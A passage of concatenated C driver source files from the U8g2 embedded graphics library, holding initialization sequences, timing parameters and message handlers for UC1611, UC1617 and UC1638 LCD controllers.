http://www.cloverdisplay.com/pdf/CG160160D.pdf */ /* UC1611 has two chip select inputs (CS0 and CS1). CS0 is low active, CS1 is high active. It will depend on the display module whether the display has a is low or high active chip select. Connect CS1 to 3.3V and CS0 to GPIO */ static const u8x8_display_info_t u8x8_uc1611_cg160160_display_info = { /* chip_enable_level = */ 0, /* use CS0 of the UC1611 */ /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 10, /* uc1611 datasheet, page 60, actually 0 */ /* pre_chip_disable_wait_ns = */ 10, /* uc1611 datasheet, page 60, actually 0 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 10, /* uc1611 datasheet, page 67 */ /* sda_setup_time_ns = */ 10, /* uc1611 datasheet, page 64, actually 0 */ /* sck_pulse_width_ns = */ 60, /* half of cycle time */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* uc1611 datasheet, page 60 */ /* write_pulse_width_ns = */ 80, /* uc1611 datasheet, page 60 */ /* tile_width = */ 20, /* width of 20*8=160 pixel */ /* tile_height = */ 20, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 160, /* pixel_height = */ 160 }; /* System Reset: E2H --> DONE Set Temp. Compensation: 24H --> DONE Set up LCD format specific parameters MX,MY,etc(double-byte command): C0H,04H --> FLIP0 Set line rate: A3H --> DONE Set Pump Control (internal Vlcd): 2FH --> DONE Set Isolation Clock Front (3 bytes command): 82H, 13H, 01H --> DONE Set Isolation Clock Back (3 bytes command): 82H, 14H, 00H --> DONE Set LCD Bias Ratio: EAH LCD Specific Operation Voltage Setting (double-byte command): 81H, 90H --> DONE Set RAM Address Control: 80H --> DOES NOT MAKE SENSE Set Page Addr. MSB: 72H --> DONE Set Page Addr. LSB : 60H --> DONE Set Column Addr. LSB: 00H --> DONE Set Column Addr.MSB: 10H --> DONE Window Program Enable : F8H --> NOT REQURED Window Starting Column (double-byte command): F4H , 00H --> NOT REQURED Window Ending Column (double-byte command): F6H, 9FH --> NOT REQURED Set one bit for one pixel: D1H --> DONE Set Display Enable: A9H */ static const uint8_t u8x8_d_uc1611_cg160160_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* system reset */ U8X8_DLY(2), U8X8_C(0x024), /* Temp. Compensation to 0 = -0.05%/ Grad C */ U8X8_C(0x0a3), /* line rate */ U8X8_C(0x02f), /* internal pump control */ U8X8_CAA(0x082, 0x013, 0x001), /* Isolation front clock, "1" is the default value */ U8X8_CAA(0x082, 0x014, 0x000), /* Isolation back clock, "0" is the default value */ U8X8_C(0x0ea), /* bias ratio, default: 0x0ea */ U8X8_CA(0x081, 0x090), /* set contrast, CG160160: 0x090 */ //U8X8_CA(0x0f1, 159), /* set COM end */ //U8X8_CA(0x0f2, 0), /* display line start */ //U8X8_CA(0x0f3, 159), /* display line end */ //U8X8_C(0x0a9), /* display enable */ U8X8_C(0x089), /* RAM Address Control: auto increment */ U8X8_C(0x0d1), /* display pattern */ U8X8_CA(0x0c0, 0x004), /* LCD Mapping */ U8X8_C(0x000), /* column low nibble */ U8X8_C(0x010), /* column high nibble */ U8X8_C(0x060), /* page adr low */ U8X8_C(0x070), /* page adr high */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* cg160160 display */ uint8_t u8x8_d_uc1611_cg160160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_uc1611_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1611_cg160160_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_cg160160_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* CI064-4073-06 (Intelligent Display Solutions), IDS4073*/ /* https://docs.rs-online.com/7e6e/0900766b8156b018.pdf */ static const uint8_t u8x8_d_uc1611_ids4073_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x02f), /* internal pump control */ U8X8_CA(0x0f1, 0x07f), /* set COM end */ U8X8_CA(0x0f2, 0x000), /* display line start */ U8X8_CA(0x0f3, 127), /* display line end */ U8X8_C(0x0a3), /* line rate */ U8X8_CA(0x081, 0x08f), /* set contrast */ //U8X8_C(0x0a9), /* display enable */ U8X8_C(0x0d1), /* display pattern */ U8X8_C(0x089), /* auto increment */ U8X8_CA(0x0c0, 0x004), /* LCD Mapping */ U8X8_C(0x000), /* column low nibble */ U8X8_C(0x010), /* column high nibble */ U8X8_C(0x060), /* page adr low */ U8X8_C(0x070), /* page adr high */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_uc1611_256x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 10, /* uc1611 datasheet, page 60, actually 0 */ /* pre_chip_disable_wait_ns = */ 10, /* uc1611 datasheet, page 60, actually 0 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 10, /* uc1611 datasheet, page 67 */ /* sda_setup_time_ns = */ 10, /* uc1611 datasheet, page 64, actually 0 */ /* sck_pulse_width_ns = */ 60, /* half of cycle time */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* uc1611 datasheet, page 60 */ /* write_pulse_width_ns = */ 80, /* uc1611 datasheet, page 60 */ /* tile_width = */ 32, /* width of 32*8=256 pixel */ /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 256, /* pixel_height = */ 128 }; /* UC1611s 256x128 display */ uint8_t u8x8_d_uc1611_ids4073(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); y = ((u8x8_tile_t *)arg_ptr)->y_pos; u8x8_cad_SendCmd(u8x8, 0x060 | (y&15)); u8x8_cad_SendCmd(u8x8, 0x070 | (y>>4)); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* SendData can not handle more than 255 bytes */ if ( c > 31 ) { u8x8_cad_SendData(u8x8, 248, ptr); /* 31*8=248 */ ptr+=248; c -= 31; } u8x8_cad_SendData(u8x8, c*8, ptr); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* uc1611 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1611_256x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_ids4073_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_uc1617.c ================================================ /* u8x8_d_uc1617.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2017, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_uc1617_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ //U8X8_C(0x0ad), /* display enable BW Mode*/ U8X8_C(0x0af), /* display enable GS Mode*/ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1617_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ac), /* display off, enter sleep mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1617_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c0), /* LCD Mapping */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1617_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c6), /* LCD Mapping */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; //static uint8_t u8x8_upscale_4bit(uint8_t x) U8X8_NOINLINE; static uint8_t u8x8_upscale_4bit(uint8_t x) { uint8_t y = x; y |= (y << 4); // x = (x | (x << S[2])) & B[2]; y &= 0x0f; y |= (y << 2); // x = (x | (x << S[1])) & B[1]; y &= 0x33; y |= (y << 1); // x = (x | (x << S[0])) & B[0]; y &= 0x55; y |= (y << 1); // z = x | (y << 1); return y; } static uint8_t u8x8_uc1617_tile_half_buffer[8]; static uint8_t *u8x8_convert_tile_for_uc1617_lower4bit(uint8_t *t) { uint8_t i; uint8_t *pbuf = u8x8_uc1617_tile_half_buffer; for( i = 0; i < 8; i++ ) { *pbuf++ = u8x8_upscale_4bit(*t++); } return u8x8_uc1617_tile_half_buffer; } static uint8_t *u8x8_convert_tile_for_uc1617_upper4bit(uint8_t *t) { uint8_t i; uint8_t *pbuf = u8x8_uc1617_tile_half_buffer; for( i = 0; i < 8; i++ ) { *pbuf++ = u8x8_upscale_4bit((*t++)>>4); } return u8x8_uc1617_tile_half_buffer; } #ifdef NOT_USED static uint8_t *u8x8_convert_tile_for_uc1617(uint8_t *t) { uint8_t i; uint16_t r; static uint8_t buf[16]; uint8_t *pbuf = buf; for( i = 0; i < 8; i++ ) { r = u8x8_upscale_byte(*t++); *pbuf = r & 255; r >>= 8; pbuf+=8; *pbuf = r; pbuf-=7; } return buf; } #endif uint8_t u8x8_d_uc1617_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c, a; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); y = ((u8x8_tile_t *)arg_ptr)->y_pos; y*=2; x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x060 | (x&15)); u8x8_cad_SendCmd(u8x8, 0x070 | (x>>4)); u8x8_cad_SendCmd(u8x8, 0x00 | (y)); #ifdef NOT_REQUIRED u8x8_cad_SendCmd(u8x8, 0xf8 ); /* disable window */ u8x8_cad_SendCmd(u8x8, 0xf4 ); /* page start */ u8x8_cad_SendCmd(u8x8, y ); u8x8_cad_SendCmd(u8x8, 0xf5 ); /* x start */ u8x8_cad_SendCmd(u8x8, x ); u8x8_cad_SendCmd(u8x8, 0xf6 ); /* page end */ u8x8_cad_SendCmd(u8x8, y ); u8x8_cad_SendCmd(u8x8, 0xf7 ); /* x end */ u8x8_cad_SendCmd(u8x8, 127 ); u8x8_cad_SendCmd(u8x8, 0xf9 ); /* enable window */ #endif a = arg_int; do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, 8, u8x8_convert_tile_for_uc1617_lower4bit(ptr)); ptr += 8; x += 8; c--; } while( c > 0 ); a--; } while( a > 0 ); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x060 | (x&15)); u8x8_cad_SendCmd(u8x8, 0x070 | (x>>4)); u8x8_cad_SendCmd(u8x8, 0x00 | (y+1)); a = arg_int; do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, 8, u8x8_convert_tile_for_uc1617_upper4bit(ptr)); ptr += 8; x += 8; c--; } while( c > 0 ); a--; } while( a > 0 ); u8x8_cad_EndTransfer(u8x8); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1617_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1617_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1617_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1617_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* uc1617 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; } return 1; } /*================================================*/ /* JLX128128 */ static const uint8_t u8x8_d_uc1617_jlx128128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* reset */ U8X8_DLY(10), //U8X8_D1(0x0ff), U8X8_C(0x027), /* temperature compensation */ U8X8_C(0x02b), /* panel loading: 13-18nF */ U8X8_C(0x02f), /* internal pump control */ U8X8_C(0x0eb), /* bias=1/11 */ U8X8_CA(0x081, 0x028), /* set contrast */ //U8X8_C(0x0a9), /* used in display datasheet, but cmd not described in controller datasheet */ U8X8_CA(0x0f1, 0x07f), /* set COM end */ U8X8_CA(0x0f2, 0x000), /* display line start */ U8X8_CA(0x0f3, 127), /* display line end */ U8X8_C(0x0a3), /* line rate */ U8X8_C(0x0d3), /* */ U8X8_C(0x0d7), /* */ //U8X8_C(0x0a5), /* all pixel on */ //U8X8_C(0x0d1), /* display pattern */ U8X8_C(0x08b), /* auto increment */ U8X8_C(0x0c0), /* LCD Mapping */ //U8X8_C(0x0ad), /* display enable BW Mode*/ //U8X8_C(0x0af), /* display enable GS Mode*/ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_uc1617_128x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 10, /* uc1617 datasheet, page 54, actually 5 */ /* pre_chip_disable_wait_ns = */ 10, /* uc1617 datasheet, page 54, actually 5 */ /* reset_pulse_width_ms = */ 10, /* post_reset_wait_ms = */ 20, /* uc1617 datasheet, page 56 */ /* sda_setup_time_ns = */ 24, /* uc1617 datasheet, page 54 */ /* sck_pulse_width_ns = */ 45, /* half of cycle time uc1617 datasheet, page 54*/ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* uc1617 datasheet, page 52 */ /* write_pulse_width_ns = */ 65, /* uc1617 datasheet, page 52 */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 128 }; uint8_t u8x8_d_uc1617_jlx128128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_uc1617_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1617_128x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1617_jlx128128_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_uc1638.c ================================================ /* u8x8_d_uc1638.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Support for the UC1638 controller 20 Jun 2021: The u8x8_d_uc1638_192x96 is tested and works. The u8x8_d_uc1638_160x128 will probably not work, there is no display to test this WARNING; The u8x8_d_uc1638_160x128 also has an inverted CS signal !!! Changed the SPI mode from 3 to 0, because it work nicely with mode 0 */ #include "u8x8.h" static const uint8_t u8x8_d_uc1638_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0c9, 0x0ad), /* display on */ /* UC1638 B/W mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1638_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0c9, 0x0ac), /* display off */ /* UC1638 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1638_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c2), /* LCD Mapping */ /* UC1638*/ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1638_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c4), /* LCD Mapping */ /* UC1638*/ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_uc1638_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x += u8x8->x_offset & 15; x *= 8; u8x8_cad_SendCmd(u8x8, 0x004); /* UC1638 */ u8x8_cad_SendArg(u8x8, x); y = ((u8x8_tile_t *)arg_ptr)->y_pos; y += u8x8->x_offset >> 4; u8x8_cad_SendCmd(u8x8, 0x060 | (y&15)); /* UC1638 */ u8x8_cad_SendCmd(u8x8, 0x070 | (y>>4)); /* UC1638 */ u8x8_cad_SendCmd(u8x8, 0x001); /* UC1638 */ c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; /* handled in the calling procedure case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1638_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* uc1638 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; } return 1; } /*================================================*/ /* uc1638 160x128 */ /* values taken from uc1608 */ static const u8x8_display_info_t u8x8_uc1638_160x128_display_info = { /* chip_enable_level = */ 1, /* uc1638 has high active CS */ /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 10, /* */ /* pre_chip_disable_wait_ns = */ 20, /* */ /* reset_pulse_width_ms = */ 5, /* */ /* post_reset_wait_ms = */ 150, /* sda_setup_time_ns = */ 25, /* */ /* sck_pulse_width_ns = */ 65, /* */ /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* */ /* write_pulse_width_ns = */ 35, /* */ /* tile_width = */ 20, /* width of 20*8=160 pixel */ /* tile_height = */ 16, /* default_x_offset = */ 0, /* lower nibble: x offset, upper nibble: y offset */ /* flipmode_x_offset = */ 0, /* lower nibble: x offset, upper nibble: y offset */ /* pixel_width = */ 160, /* pixel_height = */ 128 }; static const uint8_t u8x8_d_uc1638_160x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0e1, 0x0e2), /* software reset */ /* UC1638*/ U8X8_END_TRANSFER(), /* disable chip, requirement for I2C */ U8X8_DLY(5), /* 5 ms */ U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x024), /* set temp comp*/ U8X8_C(0x0c0), /* mirror y and mirror x */ /* WAS: c2 */ U8X8_C(0x0a2), /* line rate */ U8X8_C(0x0d6), /* gray scale 2 */ U8X8_C(0x0eb), /* set bias*/ U8X8_C(0x095), /* set 1 bit per pixel, pattern 0*/ U8X8_C(0x089), /* set auto increment, low bits are AC2 AC1 AC0 */ /* WAS 89 */ U8X8_CA(0x081, 0x0a0), /* set contrast */ /* UC1638*/ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_uc1638_160x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_uc1638_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1638_160x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_160x128_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* LG192962-DW-V33, uc1638 192x96, https://github.com/olikraus/u8g2/issues/371 */ static const u8x8_display_info_t u8x8_uc1638_192x96_display_info = { /* chip_enable_level = */ 0, /* low active CS for this display */ /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 10, /* */ /* pre_chip_disable_wait_ns = */ 20, /* */ /* reset_pulse_width_ms = */ 5, /* */ /* post_reset_wait_ms = */ 150, /* sda_setup_time_ns = */ 25, /* */ /* sck_pulse_width_ns = */ 65, /* */ /* sck_clock_hz = */ 2000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* */ /* write_pulse_width_ns = */ 35, /* */ /* tile_width = */ 24, /* width of 24*8=192 pixel */ /* tile_height = */ 12, /* default_x_offset = */ 8*16+0, /* lower nibble: x offset, upper nibble: y offset */ /* flipmode_x_offset = */ 0*16+6, /* lower nibble: x offset, upper nibble: y offset */ /* pixel_width = */ 192, /* pixel_height = */ 96 }; static const uint8_t u8x8_d_uc1638_192x96_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0e1, 0x0e2), /* software reset */ /* UC1638*/ U8X8_DLY(5), /* 5 ms */ U8X8_C(0x024), /* set temp comp*/ U8X8_C(0x0c2), /* mirror y and mirror x */ U8X8_C(0x0a2), /* line rate */ U8X8_C(0x02d), /* charge pump */ U8X8_C(0x0ea), /* set bias*/ U8X8_CA(0x081, 160), /* set contrast */ //U8X8_C(0x0d6), /* gray scale 2 */ U8X8_C(0x095), /* set 1 bit per pixel, pattern 0*/ U8X8_C(0x086), /* COM scan */ U8X8_CA(0x0f1, 159), /* COM End*/ U8X8_C(0x089), /* set auto increment, low bits are AC2 AC1 AC0 */ /* WAS 89 */ //U8X8_C(0x086), /* scan function 0x86 or 0x87: no effect*/ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_uc1638_192x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_uc1638_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: 